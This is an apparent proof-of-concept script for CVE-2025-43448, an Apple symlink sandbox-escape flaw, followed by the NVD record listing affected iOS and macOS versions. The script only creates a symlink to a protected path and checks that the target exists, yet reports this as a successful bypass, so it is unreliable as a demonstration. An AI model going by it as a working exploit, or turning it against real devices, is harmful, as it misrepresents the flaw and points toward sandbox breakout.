CVE-2025-43448

# CVE-2025-43448 PoC - Symlink Sandbox Escape (Conceptual) # This PoC demonstrates the symlink validation vulnerability concept # Note: Actual exploitation requires specific application and file system context import os import subprocess import tempfile def create_malicious_symlink(target_path, link_path): """Create a symlink that may bypass validation checks""" try: if os.path.exists(link_path): os.remove(link_path) os.symlink(target_path, link_path) print(f"[+] Created symlink: {link_path} -> {target_path}") return True except Exception as e: print(f"[-] Failed to create symlink: {e}") return False def trigger_app_access(link_path): """Trigger vulnerable application to follow symlink""" # This would be replaced with actual application-specific trigger # e.g., file picker access, document processing, etc. try: # Attempt to access via file operation if os.path.islink(link_path): resolved = os.readlink(link_path) print(f"[*] Symlink resolves to: {resolved}") # Check if we can access target through symlink if os.path.exists(resolved): print("[+] Target is accessible via symlink") return True return False except Exception as e: print(f"[-] Access attempt failed: {e}") return False def main(): # Example target - protected system file or directory # In real scenario, this would be a sandbox-protected resource protected_target = "/var/root/private_directory" # Create temporary symlink in writable sandbox area with tempfile.NamedTemporaryFile(delete=False) as tmp: link_path = tmp.name print("[*] CVE-2025-43448 Symlink Validation Bypass Test") print("[*] Target: Apple iOS/macOS symlink handling in sandboxed apps") # Step 1: Create symlink if create_malicious_symlink(protected_target, link_path): # Step 2: Trigger application access trigger_app_access(link_path) # Cleanup if os.path.exists(link_path): os.remove(link_path) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-43448", "sourceIdentifier": "[email protected]", "published": "2025-11-04T02:15:50.543", "lastModified": "2026-04-02T19:20:48.667", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "This issue was addressed with improved validation of symlinks. This issue is fixed in iOS 18.7.2 and iPadOS 18.7.2, iOS 26.1 and iPadOS 26.1, macOS Sequoia 15.7.2, macOS Sonoma 14.8.2, macOS Tahoe 26.1, tvOS 26.1, visionOS 26.1, watchOS 26.1. An app may be able to break out of its sandbox."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.0, "impactScore": 3.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-59"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "6D51AEDC-9086-4010-B3BF-C652D65D09C8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "3981A7BE-BC98-4C6F-AE38-D68839368925"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "14.8.2", "matchCriteriaId": "84A2783A-5B53-4DAB-80C4-8D62E332802A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.7.2", "matchCriteriaId": "4BE8199E-63D1-496C-B107-52853CFC2311"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "290E0D29-CB5B-45A7-9FE3-FD2030B1D1A4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "7DFD3616-65CA-4E5C-849C-3C20ACBCB610"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "9F9D7F76-13FB-407C-94E5-221B93021568"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125632", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125633", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125634", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125635", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125636", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125637", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125638", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125639", "source": "[email protected]"}]}}